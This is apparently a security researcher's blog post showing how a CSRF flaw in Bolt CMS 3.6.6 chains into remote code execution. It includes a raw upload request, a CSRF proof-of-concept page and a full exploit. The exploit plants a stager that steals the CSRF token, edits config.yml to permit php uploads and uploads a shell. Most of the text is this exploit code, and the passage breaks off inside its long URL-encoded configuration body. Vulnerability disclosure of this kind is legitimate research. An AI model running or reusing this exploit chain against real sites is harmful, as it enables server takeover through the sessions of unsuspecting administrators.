From CSRF to RCE

Introduction
From CSRF to RCE

A few days ago I started taking interest in Bolt, a content management that quoting from its github, is a "Sophisticated, lightweight & simple CMS".

The team behind it really did a great job in making the CMS easy to use, and packed with a lot of features. I truly recommend you checking out their project if you are looking for a cool new CMS to use.

Affected Version

Bolt CMS 3.6.6 - It is possible that lower versions are vulnerable as well.

Explanation

It is common to find some vulnerabilities that alone don't actually create a good case, like CSRF and some types of XSS, so it's up to the attacker to make use of them and create creative ways to chain attacks.

In this post, I will be showing how it was possible to obtain Remote Code Execution through a Cross Site Request Forgery in Bolt CMS.

Starting with CSRF

This flaw exists in the file upload section called "Files on the Stack", available for users that can manage content for the Homepage, Pages, Entries and Blocks.

You may think, CSRF on file upload? What can I do with this? Can I pwn the server sending PHP? No, BUT you can upload HTML files!

POST /bolt/upload HTTP/1.1
Host: victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://victim.com/bolt/editcontent/homepage
X-Requested-With: XMLHttpRequest
Content-Length: 227
Content-Type: multipart/form-data; boundary=---------------------------6228775941835128519569528722
Connection: close
-----------------------------6228775941835128519569528722
Content-Disposition: form-data; name="files[]"; filename="test.html"
Content-Type: text/markdown

<html><script>alert("hi");</script></html>

-----------------------------6228775941835128519569528722--

This means that we, attackers, can execute arbitrary JavaScript in the same context as the application with the authenticated user privileges, which you will see how important it is for the attack.

A simple code to exploit CSRF and upload an HTML file is provided below (with the help of Burp Pro), it will upload a "test.html" file that can be located in a default path for every bolt installation: "/files/YEAR-MONTH" in my case: "victim.com/files/2019-04/test.html":

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/127.0.0.1\/bolt\/upload", true);
        xhr.setRequestHeader("Accept", "application\/json, text\/javascript, *\/*; q=0.01");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------6228775941835128519569528722");
        xhr.withCredentials = true;
        var body = "-----------------------------6228775941835128519569528722\r\n" + 
          "Content-Disposition: form-data; name=\"files[]\"; filename=\"test.html\"\r\n" + 
          "Content-Type: text/markdown\r\n" + 
          "\r\n" + 
          "\x3chtml\x3e\x3cscript\x3ealert(\"hi\");\x3c/script\x3e\x3c/html\x3e\n" + 
          "\r\n" + 
          "-----------------------------6228775941835128519569528722--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

About the RCE

Now comes the fun stuff, finding a vulnerability or a legitimate way to obtain remote code execution.

Looking for known vulnerabilities in the code did not result in anything interesting, at least for the time I spent in the analysis. When looking into some of the features available for privileged users, I discovered one that allows changes in a configuration file that controls what variables are allowed to be uploaded in the application.

The feature in question can be accessed inside the settings menu on "Configuration" and then "Main Configuration", or by accessing it directly: "/bolt/file/edit/config/config.yml"


# Define the file types (extensions to be exact) that are acceptable for upload
# in either 'file' fields or through the 'files' screen.
accept_file_types: [ twig, html, js, css, scss, gif, jpg, jpeg, png, ico, zip, tgz, txt, md, doc, docx, pdf, epub, xls, xlsx, ppt, pptx, mp3, ogg, wav, m4a, mp4, m4v, ogv, wmv, avi, webm, svg]

As you see, an attacker with this level of access is able to bypass upload restrictions without much effort by including "php" extension inside the "accept_file_types" list.

Now, any file upload feature can be used to achieve our goal.

Proof of Concept

Our exploration will have the following path:

  1. Victim access attacker's URL
  2. Victim Browser attemps to upload our "stager" HTML file
  3. Victim is redirected to our stager page inside the server
  4. Stager makes three requests:
    5. Obtain request token to bypass CSRF protection
    6. Use token to change allowed types list
    7. Upload our Shell
  5. Attacker waits for shell with popcorn

Final Exploit:

https://www.exploit-db.com/exploits/46664

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function exploit() {

        var target = "http://127.0.0.1"

        var bolt_admin_url = target + "/bolt";

        var xhr = new XMLHttpRequest();
        xhr.open("POST", bolt_admin_url + "/upload", true);
        xhr.setRequestHeader("Accept", "application\/json, text\/javascript, *\/*; q=0.01");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------130713229751679908527494159");
        xhr.withCredentials = true;
        var body = "-----------------------------130713229751679908527494159\r\n" + 
          "Content-Disposition: form-data; name=\"files[]\"; filename=\"stager.html\"\r\n" + 
          "Content-Type: text/plain\r\n" + 
          "\r\n" + 
          "\x3cscript\x3e\r\n" + 
          "\r\n" + 
          "function exploit(){\r\n" + 
          "\r\n" + 
          "        var bolt_admin_url = \""+bolt_admin_url+"\";\r\n" + 
          "\r\n" + 
          "        var xhr = new XMLHttpRequest();\r\n" + 
          "        \r\n" + 
          "        if(xhr) {\r\n" + 
          "            xhr.open(\'GET\', bolt_admin_url + \"/file/edit/config/config.yml\", true);\r\n" + 
          "            xhr.onreadystatechange = handler;\r\n" + 
          "            xhr.send();\r\n" + 
          "        }\r\n" + 
          "\r\n" + 
          "        function handler(){\r\n" + 
          "          if (xhr.readyState == 4 && xhr.status == 200) {\r\n" + 
          "                user_page = document.createElement(\'html\');\r\n" + 
          "                user_page.innerHTML = xhr.responseText;\r\n" + 
          "                token_input = (user_page.getElementsByTagName(\'input\')[0]).value;\r\n" + 
          "                console.log(\"Token obtained:\" + token_input);\r\n" + 
          "                ModifyAllowedExtensions(token_input);\r\n" + 
          "                UploadShell();\r\n" + 
          "          }\r\n" + 
          "        }\r\n" + 
          "\r\n" + 
          "        function ModifyAllowedExtensions(token) {\r\n" + 
          "\r\n" + 
          "            var xhr = new XMLHttpRequest();\r\n" + 
          "            xhr.open(\"POST\", bolt_admin_url + \"/file/edit/config/config.yml\", true);\r\n" + 
          "            xhr.setRequestHeader(\"Accept\", \"application\\/json, text\\/javascript, *\\/*; q=0.01\");\r\n" + 
          "            xhr.setRequestHeader(\"Accept-Language\", \"en-US,en;q=0.5\");\r\n" + 
          "            xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\r\n" + 
          "            xhr.withCredentials = true;\r\n" + 
          "            var body = \"file_edit%5B_token%5D=\"+token+\"&file_edit%5Bcontents%5D=%23+Database+setup.+The+driver+can+be+either+\\\'sqlite\\\'%2C+\\\'mysql\\\'+or+\\\'postgres\\\'.%0D%0A%23%0D%0A%23+For+SQLite%2C+only+the+databasename+is+required.+However%2C+MySQL+and+PostgreSQL%0D%0A%23+also+require+\\\'username\\\'%2C+\\\'password\\\'%2C+and+optionally+\\\'host\\\'+(+and+\\\'port\\\'+)+if+the+database%0D%0A%23+server+is+not+on+the+same+host+as+the+web+server.%0D%0A%23%0D%0A%23+If+you\\\'re+trying+out+Bolt%2C+just+keep+it+set+to+SQLite+for+now.%0D%0Adatabase%3A%0D%0A++++driver%3A+sqlite%0D%0A++++databasename%3A+bolt%0D%0A%0D%0A%23+The+name+of+the+website%0D%0Asitename%3A+A+sample+site%0D%0Apayoff%3A+The+amazing+payoff+goes+here%0D%0A%0D%0A%23+The+theme+to+use.%0D%0A%23%0D%0A%23+Don\\\'t+edit+the+provided+templates+directly%2C+because+they+_will_+get+updated%0D%0A%23+in+next+releases.+If+you+wish+to+modify+a+default+theme%2C+copy+its+folder%2C+and%0D%0A%23+change+the+name+here+accordingly.%0D%0Atheme%3A+base-2018%0D%0A%0D%0A%23+The+locale+that\\\'ll+be+used+by+the+application.+If+no+locale+is+set+the%0D%0A%23+fallback+locale+is+\\\'en_GB\\\'.+For+available+options%2C+see%3A%0D%0A%23+https%3A%2F%2Fdocs.bolt.cm%2Fother%2Flocales%0D%0A%23%0D%0A%23+In+some+cases+it+may+be+needed+to+specify+(non-standard)+variations+of+the%0D%0A%23+locale+to+get+everything+to+work+as+desired.%0D%0A%23%0D%0A%23+This+can+be+done+as+%5Bnl_NL%2C+Dutch_Netherlands%5D+when+specifying+multiple%0D%0A%23+locales%2C+ensure+the+first+is+a+standard+locale.%0D%0Alocale%3A+en_GB%0D%0A%0D%0A%23+Set+the+timezone+to+be+used+on+the+website.+For+a+list+of+valid+timezone%0D%0A%23+settings%2C+see%3A+http%3A%2F%2Fphp.net%2Fmanual%2Fen%2Ftimezones.php%0D%0A%23+timezone%3A+UTC%0D%0A%0D%0A%23+Set+maintenance+mode+on+or+off.%0D%0A%23%0D%0A%23+While+in+maintenance+mode%2C+only+users+of+level+editor+or+higher+can+access+the%0D%0A%23+site.%0D%0A%23%0D%0A%23+All+other+visitors+are+presented+with+a+notice+that+the+site+is+currently%0D%0A%23+offline.%0D%0A%23%0D%0A%23+The+default+template+file+can+be+found+in+%2Fapp%2Ftheme_defaults%2F+and+overridden%0D%0A%23+with+this+option+using+your+own+theme.%0D%0A%23%0D%0A%23+Note%3A+If+you\\\'ve+changed+the+filename%2C+and+your+changes+do+not+show+up+on+the%0D%0A%23+++++++website%2C+be+sure+to+check+for+a+config.yml+file+in+your+theme\\\'s+folder.%0D%0A%23+++++++If+a+template+is+set+there%2C+it+will+override+the+setting+here.%0D%0Amaintenance_mode%3A+false%0D%0Amaintenance_template%3A+maintenance_default.twig%0D%0A%0D%0A%23+The+hour+of+the+day+for+the+internal+cron+task+scheduler+to+run+daily%2C+weekly%2C%0D%0A%23+monthly+and+yearly+jobs.%0D%0A%23%0D%0A%23+Default%3A+3+(3+am)%0D%0Acron_hour%3A+3%0D%0A%0D%0A%23+If+your+site+is+reachable+under+different+urls+(say%2C+both+blog.example.org%2F%0D%0A%23+as+well+as+example.org%2F)%2C+it\\\'s+a+good+idea+to+set+one+of+these+as+the%0D%0A%23+canonical%2C+so+it\\\'s+clear+which+is+the+primary+address+of+the+site.%0D%0A%23%0D%0A%23+If+you+include+%60https%3A%2F%2F%60%2C+it+will+be+included+in+the+canonical+urls.%0D%0A%23canonical%3A+example.org%0D%0A%0D%0A%23+Bolt+can+insert+a+%3Clink+rel%3D%22shortcut+icon%22%3E+for+all+pages+on+the+site.%0D%0A%0D%0A%23+Note%3A+The+location+given+is+relative+to+the+currently+selected+theme.+If%0D%0A%23+++++++you+want+to+set+the+icon+yourself%2C+just+don\\\'t+enable+the+following+line.%0D%0A%23favicon%3A+images%2Ffavicon-bolt.ico%0D%0A%0D%0A%23+The+default+content+to+use+for+the+homepage%2C+and+the+template+to+render+it%0D%0A%23+with.+This+can+either+be+a+specific+record+(like+%60page%2F1%60)+or+a+listing+of%0D%0A%23+records+(like+%60entries%60).+In+the+chosen+\\\'homepage_template\\\'%2C+you+will+have%0D%0A%23+%60record%60+or+%60records%60+at+your+disposal%2C+depending+on+the+\\\'homepage\\\'+setting.%0D%0A%23%0D%0A%23+Note%3A+If+you\\\'ve+changed+the+filename%2C+and+your+changes+do+not+show+up+on%0D%0A%23+++++++the+website%2C+be+sure+to+check+for+a+theme.yml+file+in+your+theme\\\'s%0D%0A%23+++++++folder.+If+a+template+is+set+there%2C+it+will+override+the+setting+here.%0D%0Ahomepage%3A+homepage%2F1%0D%0Ahomepage_template%3A+index.twig%0D%0A%0D%0A%23+The+default+content+for+the+404+page.+Can+be+an+(array+of)+template+names+or%0D%0A%23+identifiers+for+records%2C+which+will+be+tried+until+a+match+is+found.%0D%0A%23%0D%0A%23+Note%3A+The+record+specified+in+this+parameter+must+be+set+to+\\\'published\\\'.%0D%0Anotfound%3A+%5B+not-found.twig%2C+block%2F404-not-found+%5D%0D%0A%0D%0A%23+The+default+template+for+single+record+pages+on+the%0D%0A%23+site.%0D%0A%23%0D%0A%23+Can+be+overridden+for+each+contenttype+and+for+each+record%2C+if+it+has+a%0D%0A%23+\\\'templateselect\\\'+field.%0D%0A%23%0D%0A%23+Note%3A+If+you\\\'ve+changed+the+filename%2C+and+your+changes+do+not+show+up+on+the%0D%0A%23+++++++website%2C+be+sure+to+check+for+a+config.yml+file+in+your+theme\\\'s+folder.%0D%0A%23+++++++If+a+template+is+set+there%2C+it+will+override+the+setting+here.%0D%0Arecord_template%3A+record.twig%0D%0A%0D%0A%23+The+default+template+and+amount+of+records+to+use+for+listing-pages+on+the%0D%0A%23+site.%0D%0A%23%0D%0A%23+Can+be+overridden+for+each+contenttype.%0D%0A%23%0D%0A%23+Note+1%3A+Sorting+on+TAXONOMY-pages+will+give+unexpected+results%2C+if+it+has+a%0D%0A%23+++++++++pager.%0D%0A%23+++++++++If+you+need+sorting+on+those%2C+make+sure+you+display+all+the+records+on+one%0D%0A%23+++++++++page.%0D%0A%23%0D%0A%23+Note+2%3A+If+you\\\'ve+changed+the+filename%2C+and+your+changes+do+not+show+up+on+the%0D%0A%23+++++++++website%2C+be+sure+to+check+for+a+config.yml+file+in+your+theme\\\'s%0D%0A%23+++++++++folder.+If+a+template+is+set+there%2C+it+will+override+the+setting+here.%0D%0Alisting_template%3A+listing.twig%0D%0Alisting_records%3A+6%0D%0Alisting_sort%3A+datepublish+DESC%0D%0A%0D%0A%23+Because+of+limitations+on+how+the+underlying+database+queries+work%2C+there+are%0D%0A%23+only+two+options+for+sorting+on+taxonomies.+\\\'ASC\\\'+for+roughly+%22oldest+first%22%0D%0A%23+and+\\\'DESC\\\'+for+roughly+\\\'newest+first\\\'.%0D%0Ataxonomy_sort%3A+DESC%0D%0A%0D%0A%23+Template+for+showing+the+search+results.+If+not+defined%2C+uses+the+settings+for%0D%0A%23+listing_template+and+listing_records.%0D%0A%23%0D%0A%23+Note%3A+If+you\\\'ve+changed+the+filename%2C+and+your+changes+do+not+show+up+on+the%0D%0A%23+++++++website%2C+be+sure+to+check+for+a+config.yml+file+in+your+theme\\\'s+folder.%0D%0A%23+++++++If+a+template+is+set+there%2C+it+will+override+the+setting+here.%0D%0Asearch_results_template%3A+search.twig%0D%0Asearch_results_records%3A+10%0D%0A%0D%0A%23+Add+jQuery+to+the+rendered+HTML%2C+whether+or+not+it\\\'s+added+by+an+extension.%0D%0Aadd_jquery%3A+false%0D%0A%0D%0A%23+The+default+amount+of+records+to+show+on+overview+pages.+Can+be+overridden%0D%0A%23+for+each+contenttype.%0D%0Arecordsperpage%3A+10%0D%0A%0D%0A%23+Settings+for+caching+in+parts+of+Bolt.%0D%0A%23+-+config%3A++++++++Caches+the+parsed+.yml+files+from+%2Fapp%2Fconfig.+It\\\'s+updated%0D%0A%23++++++++++++++++++immediately+when+one+of+the+files+changes+on+disk.+There%0D%0A%23++++++++++++++++++should+be+no+good+reason+to+turn+this+off.%0D%0A%23%0D%0A%23+-+templates%3A+++++Caches+rendered+templates.%0D%0A%23%0D%0A%23+-+request%3A+++++++Caches+rendered+pages+in+the+configured+HTTP+reverse+proxy%0D%0A%23++++++++++++++++++cache%2C+on+GET+%26+HEAD+requests.%0D%0A%23++++++++++++++++++By+default+this+is+handled+by+Syfmony+HTTP+Cache.%0D%0A%23%0D%0A%23+-+duration%3A++++++The+duration+(in+minutes)+for+the+\\\'templates\\\'+and+\\\'request\\\'%0D%0A%23++++++++++++++++++options.+default+is+10+minutes.+Note+that+the+duration+is+set%0D%0A%23++++++++++++++++++on+storing+the+cache.+By+lowering+this+value+you+will+not%0D%0A%23++++++++++++++++++invalidate+currently+cached+items.%0D%0A%23%0D%0A%23+-+authenticated%3A+Cache+\\\'templates\\\'+and+\\\'request\\\'+for+logged-on+users.+In+most%0D%0A%23++++++++++++++++++cases+you+should+*NOT*+enable+this%2C+because+it+will+cause%0D%0A%23++++++++++++++++++side-effects+if+the+website+shows+different+content+to%0D%0A%23++++++++++++++++++authenticated+users.%0D%0A%23%0D%0A%23+-+thumbnails%3A++++Caches+thumbnail+generation.%0D%0A%23%0D%0A%23+-+translations%3A++Caches+translation+files.+It+is+recommend+to+leave+this%0D%0A%23++++++++++++++++++enabled.+Only+if+you+develop+extensions+and+work+with%0D%0A%23++++++++++++++++++translation+files+you+should+turn+this+off.%0D%0Acaching%3A%0D%0A++++config%3A+true%0D%0A++++templates%3A+true%0D%0A++++request%3A+false%0D%0A++++duration%3A+10%0D%0A++++authenticated%3A+false%0D%0A++++thumbnails%3A+true%0D%0A++++translations%3A+true%0D%0A%0D%0A%23+Set+\\\'enabled\\\'+to+\\\'true\\\'+to+log+all+content+changes+in+the+database.%0D%0A%23%0D%0A%23+Unless+you+need+to+rigorously+monitor+every+change+to+your+site\\\'s+content%2C+it%0D%0A%23+is+recommended+to+keep+this+disabled.%0D%0Achangelog%3A%0D%0A++++enabled%3A+false%0D%0A%0D%0A%23+Default+settings+for+thumbnails.%0D%0A%23%0D%0A%23+Quality+should+be+between+0+(horrible%2C+small+file)+and+100+(best%2C+huge+file).%0D%0A%23%0D%0A%23+cropping%3A+++++++++++One+of+either+crop%2C+fit%2C+borders%2C+resize.%0D%0A%23+default_thumbnail%3A++The+default+size+of+images%2C+when+using%0D%0A%23+++++++++++++++++++++%7B%7B+record.image%7Cthumbnail()+%7D%7D%0D%0A%23+default_image%3A++++++The+default+size+of+images%2C+when+using%0D%0A%23+++++++++++++++++++++%7B%7B+record.image%7Cimage()+%7D%7D%0D%0A%23+allow_upscale%3A++++++Determines+whether+small+images+will+be+enlarged+to+fit%0D%0A%23+++++++++++++++++++++the+requested+dimensions.%0D%0A%23+browser_cache_time%3A+Sets+the+amount+of+seconds+that+the+browser+will+cache%0D%0A%23+++++++++++++++++++++images+for.+Set+it+to+activate+browser+caching.%0D%0A%23%0D%0A%23+Note%3A+If+you+change+these+values%2C+you+might+need+to+clear+the+cache+before%0D%0A%23+++++++they+show+up.%0D%0Athumbnails%3A%0D%0A++++default_thumbnail%3A+%5B+160%2C+120+%5D%0D%0A++++default_image%3A+%5B+1000%2C+750+%5D%0D%0A++++quality%3A+80%0D%0A++++cropping%3A+crop%0D%0A++++notfound_image%3A+bolt_assets%3A%2F%2Fimg%2Fdefault_notfound.png%0D%0A++++error_image%3A+bolt_assets%3A%2F%2Fimg%2Fdefault_error.png%0D%0A++++save_files%3A+false%0D%0A++++allow_upscale%3A+false%0D%0A++++exif_orientation%3A+true%0D%0A++++only_aliases%3A+false%0D%0A%23++++browser_cache_time%3A+2592000%0D%0A%0D%0A%23+Define+the+HTML+tags+and+attributes+that+are+allowed+in+\\\'cleaned\\\'+HTML.+This%0D%0A%23+is+used+for+sanitizing+HTML%2C+to+make+sure+there+are+no+undesirable+elements%0D%0A%23+left+in+the+content+that+is+shown+to+users.+For+example%2C+tags+like+%60%3Cscript%3E%60%0D%0A%23+or+%60onclick%60-attributes.%0D%0A%23+Note%3A+enabling+options+in+the+%60wysiwyg%60+settings+will+implicitly+add+items+to%0D%0A%23+the+allowed+tags.+For+example%2C+if+you+set+%60images%3A+true%60%2C+the+%60%3Cimg%3E%60+tag%0D%0A%23+will+be+allowed%2C+regardless+of+it+being+in+the+%60allowed_tags%60+setting.%0D%0Ahtmlcleaner%3A%0D%0A++++allowed_tags%3A+%5B+div%2C+span%2C+p%2C+br%2C+hr%2C+s%2C+u%2C+strong%2C+em%2C+i%2C+b%2C+li%2C+ul%2C+ol%2C+mark%2C+blockquote%2C+pre%2C+code%2C+tt%2C+h1%2C+h2%2C+h3%2C+h4%2C+h5%2C+h6%2C+dd%2C+dl%2C+dt%2C+table%2C+tbody%2C+thead%2C+tfoot%2C+th%2C+td%2C+tr%2C+a%2C+img%2C+address%2C+abbr%2C+iframe%2C+caption%2C+sub%2C+sup%2C+figure%2C+figcaption+%5D%0D%0A++++allowed_attributes%3A+%5B+id%2C+class%2C+style%2C+name%2C+value%2C+href%2C+src%2C+alt%2C+title%2C+width%2C+height%2C+frameborder%2C+allowfullscreen%2C+scrolling%2C+target%2C+colspan%2C+rowspan+%5D%0D%0A%0D%0A%23+Uploaded+file+handling%0D%0A%23%0D%0A%23+You+can+change+the+pattern+match+and+replacement+on+uploaded+files+and+if+the%0D%0A%23+resulting+filename+should+be+transformed+to+lower+case.%0D%0A%23%0D%0A%23+Setting+\\\'autoconfirm%3A+true\\\'+prevents+the+creation+of+temporary+lock+files%0D%0A%23+while+uploading.%0D%0A%23%0D%0A%23+upload%3A%0D%0A%23+++++pattern%3A+\\\'%5B%5EA-Za-z0-9%5C.%5D%2B\\\'%0D%0A%23+++++replacement%3A+\\\'-\\\'%0D%0A%23+++++lowercase%3A+true%0D%0A%23+++++autoconfirm%3A+false%0D%0A%0D%0A%23+Define+the+file+types+(extensions+to+be+exact)+that+are+acceptable+for+upload%0D%0A%23+in+either+\\\'file\\\'+fields+or+through+the+\\\'files\\\'+screen.%0D%0Aaccept_file_types%3A+%5B+php%2C+twig%2C+html%2C+js%2C+css%2C+scss%2C+gif%2C+jpg%2C+jpeg%2C+png%2C+ico%2C+zip%2C+tgz%2C+txt%2C+md%2C+doc%2C+docx%2C+pdf%2C+epub%2C+xls%2C+xlsx%2C+ppt%2C+pptx%2C+mp3%2C+ogg%2C+wav%2C+m4a%2C+mp4%2C+m4v%2C+ogv%2C+wmv%2C+avi%2C+webm%2C+svg%5D%0D%0A%0D%0A%23+Alternatively%2C+if+you+wish+to+limit+these%2C+uncomment+the+following+list%0D%0A%23+instead.+It+just+includes+file+types+%2F+extensions+that+are+harder+to+exploit.%0D%0A%23+accept_file_types%3A+%5B+gif%2C+jpg%2C+jpeg%2C+png%2C+txt%2C+md%2C+pdf%2C+epub%2C+mp3%2C+svg+%5D%0D%0A%0D%0A%23+If+you+want+to+\\\'brand\\\'+the+Bolt+backend+for+a+client%2C+you+can+change+some+key%0D%0A%23+variables+here%2C+that+determine+the+name+of+the+backend%2C+and+adds+a+primary%0D%0A%23+support%2Fcontact+link+to+the+footer.++Add+a+scheme%2C+like+%60mailto%3A%60+or%0D%0A%23+%60https%3A%2F%2F%60+to+the+email+or+URL.%0D%0A%23%0D%0A%23+Additionally+you+can+change+the+mount+point+for+the+backend%2C+either+for%0D%0A%23+convenience+or+to+obscure+it+from+prying+eyes.%0D%0A%23%0D%0A%23+The+Bolt+backend+is+accessible+as+%60%2Fbolt%2F%60+by+default.+If+you+change+it+here%2C%0D%0A%23+it+will+only+be+accessible+through+the+value+set+in+\\\'path\\\'.%0D%0A%23+Keep+the+path+simple%3A+lowercase+only%2C+no+extra+slashes+or+other+special%0D%0A%23+characters.%0D%0A%23+branding%3A%0D%0A%23+++++name%3A+SuperCMS%0D%0A%23+++++path%3A+%2Fadmin%0D%0A%23+++++provided_by%3A+%5B+supercool%40example.org%2C+%22Supercool+Webdesign+Co.%22+%5D%0D%0A%23+++++news_source%3A+http%3A%2F%2Fnews.example.org%0D%0A%23+++++news_variable%3A+news%0D%0A%0D%0A%23+Show+the+\\\'debug\\\'+nut+in+the+lower+right+corner+for+logged-in+user.+By+default%2C%0D%0A%23+the+debugbar+is+only+shown+to+logged-in+users.+Use+the+\\\'debug_show_loggedoff\\\'%0D%0A%23+option+to+show+it+to+all+users.+You+probably+do+not+want+to+use+this+in+a%0D%0A%23+production+environment.%0D%0Adebug%3A+true%0D%0Adebug_show_loggedoff%3A+true%0D%0Adebug_permission_audit_mode%3A+false%0D%0Adebug_error_level%3A+8181+++++++++++%23+equivalent+to+E_ALL+%26~+E_NOTICE+%26~+E_DEPRECATED+%26~+E_USER_DEPRECATED+%26~+E_WARNING%0D%0A%23+debug_error_level%3A+-1+++++++++++++++%23+equivalent+to+E_ALL%0D%0Adebug_error_use_symfony%3A+false++++++%23+When+set+to+true%2C+Symfony+Profiler+will+be+used+for+exception+display+when+possible%0D%0Adebug_trace_argument_limit%3A+4+++++++%23+Determine+how+many+steps+in+the+backtrace+will+show+(dump)+arguments.%0D%0A%0D%0A%23+error+level+when+debug+is+disabled%0D%0Aproduction_error_level%3A+8181+%23+%3D+E_ALL+%26~+E_NOTICE+%26~+E_WARNING+%26~+E_DEPRECATED+%26~+E_USER_DEPRECATED%0D%0A%0D%0A%23+System+debug+logging%0D%0A%23+This+will+enable+intensive+logging+of+Silex+functions+and+will+be+very+hard+on%0D%0A%23+performance+and+log+file+size.++++The+log+file+will+be+created+in+your+cache%0D%0A%23+directory.%0D%0A%23%0D%0A%23+Enable+this+for+short+time+periods+only+when+diagnosing+system+issues.%0D%0A%23+The+level+can+be+either%3A+DEBUG%2C+INFO%2C+NOTICE%2C+WARNING%2C+ERROR%2C+CRITICAL%2C+ALERT%2C+EMERGENCY%0D%0Adebuglog%3A%0D%0A++++enabled%3A+false%0D%0A++++filename%3A+bolt-debug.log%0D%0A++++level%3A+DEBUG%0D%0A%0D%0A%23+Use+strict+variables.+This+will+make+Bolt+complain+if+you+use+%7B%7B+foo+%7D%7D%2C%0D%0A%23+when+foo+doesn\\\'t+exist.%0D%0Astrict_variables%3A+false%0D%0A%0D%0A%23+There+are+several+options+for+giving+editors+more+options+to+insert+images%2C%0D%0A%23+video%2C+etc+in+the+WYSIWYG+areas.+But%2C+as+you+give+them+more+options%2C+that%0D%0A%23+means+they+also+have+more+ways+of+breaking+the+preciously+designed+layout.%0D%0A%23%0D%0A%23+By+default+the+most+\\\'dangerous\\\'+options+are+set+to+\\\'false\\\'.+If+you+choose+to%0D%0A%23+enable+them+for+your+editors%2C+please+instruct+them+thoroughly+on+their%0D%0A%23+responsibility+not+to+break+the+layout.%0D%0Awysiwyg%3A%0D%0A++++images%3A+false++++++++++++%23+Allow+users+to+insert+images+in+the+content.%0D%0A++++anchor%3A+false++++++++++++%23+Adds+a+button+to+create+internal+anchors+to+link+to.%0D%0A++++tables%3A+false++++++++++++%23+Adds+a+button+to+insert+and+modify+tables+in+the+content.%0D%0A++++fontcolor%3A+false+++++++++%23+Allow+users+to+mess+around+with+font+coloring.%0D%0A++++align%3A+false+++++++++++++%23+Adds+buttons+for+\\\'align+left\\\'%2C+\\\'align+right\\\'%2C+etc.%0D%0A++++subsuper%3A+false++++++++++%23+Adds+buttons+for+subscript+and+superscript%2C+using+%60%3Csub%3E%60+and+%60%3Csup%3E%60.%0D%0A++++embed%3A+false+++++++++++++%23+Allows+the+user+to+insert+embedded+video\\\'s+from+Youtube%2C+Vimeo%2C+etc.%0D%0A++++underline%3A+false+++++++++%23+Adds+a+button+to+underline+text%2C+using+the+%60%3Cu%3E%60-tag.%0D%0A++++ruler%3A+false+++++++++++++%23+Adds+a+button+to+add+a+horizontal+ruler%2C+using+the+%60%3Chr%3E%60-tag.%0D%0A++++strike%3A+false++++++++++++%23+Adds+a+button+to+add+stikethrough%2C+using+the+%60%3Cs%3E%60-tag.%0D%0A++++blockquote%3A+false++++++++%23+Allows+the+user+to+insert+blockquotes+using+the+%60%3Cblockquote%3E%60-tag.%0D%0A++++codesnippet%3A+false+++++++%23+Allows+the+user+to+insert+code+snippets+using+%60%3Cpre%3E%3Ccode%3E%60-tags.%0D%0A++++specialchar%3A+false+++++++%23+Adds+a+button+to+insert+special+chars+like+\\\'%E2%82%AC\\\'+or+\\\'%E2%84%A2\\\'.%0D%0A++++clipboard%3A+false+++++++++%23+Adds+buttons+to+\\\'undo\\\'+and+\\\'redo\\\'.%0D%0A++++copypaste%3A+false+++++++++%23+Adds+buttons+to+\\\'cut\\\'%2C+\\\'copy\\\'+and+\\\'paste\\\'.%0D%0A++++ck%3A%0D%0A++++++++autoParagraph%3A+true++%23+If+set+to+\\\'true\\\'%2C+any+pasted+content+is+wrapped+in+%60%3Cp%3E%60-tags+for+multiple+line-breaks%0D%0A++++++++disableNativeSpellChecker%3A+true+%23+If+set+to+\\\'true\\\'+it+will+stop+browsers+from+underlining+spelling+mistakes%0D%0A++++++++allowNbsp%3A+false+++++%23+If+set+to+\\\'false\\\'%2C+the+editor+will+strip+out+%60%26nbsp%3B%60+characters.+If+set+to+\\\'true\\\'%2C+it+will+allow+them.+%C2%AF%5C_(%E3%83%84)_%2F%C2%AF%0D%0A%0D%0A%23+Bolt+uses+the+Google+maps+API+for+it\\\'s+geolocation+field+and+Google+now%0D%0A%23+requires+that+it+be+loaded+with+an+API+key+on+new+domains.+You+can+generate%0D%0A%23+a+key+at+https%3A%2F%2Fdevelopers.google.com%2Fmaps%2Fdocumentation%2Fjavascript%2Fget-api-key%0D%0A%23+and+enter+it+here+to+make+sure+that+the+geolocation+field+works.%0D%0A%23+google_api_key%3A%0D%0A%0D%0A%23+Global+option+to+enable%2Fdisable+the+live+editor%0D%0Aliveeditor%3A+false%0D%0A%0D%0A%23+Use+the+\\\'mailoptions\\\'+setting+to+configure+how+Bolt+sends+email%3A+using+\\\'smtp\\\'%0D%0A%23+or+PHP\\\'s+built-in+%60mail()%60-function.%0D%0A%0D%0A%23+Note+that+the+latter+might+_seem_+easier%2C+but+it\\\'s+been+disabled+by+a+lot+of%0D%0A%23+webhosts%2C+in+order+to+prevent+spam+from+wrongly+configured+scripts.+If+you+use%0D%0A%23+it%2C+your+mail+might+disappear+into+a+black+hole%2C+without+producing+any+errors.%0D%0A%23+Generally+speaking%2C+using+\\\'smtp\\\'+is+the+better+option%2C+so+use+that+if+possible.%0D%0A%23%0D%0A%23+Protip%3A+If+your+webhost+does+not+support+SMTP%2C+sign+up+for+a+(free)+Sparkpost%0D%0A%23+account+at+https%3A%2F%2Fwww.sparkpost.com%2Fpricing%2F+for+sending+emails+reliably.%0D%0A%23%0D%0A%23+The+mail+defaults+use+bolt%40yourhostname+with+the+site+title+as+a+default.%0D%0A%23+Override+this+with+the+senderName+and+senderMail+fields%0D%0A%0D%0A%23+mailoptions%3A%0D%0A%23+++++transport%3A+smtp%0D%0A%23+++++spool%3A+true%0D%0A%23+++++host%3A+localhost%0D%0A%23+++++port%3A+25%0D%0A%23+++++username%3A+username%0D%0A%23+++++password%3A+password%0D%0A%23+++++encryption%3A+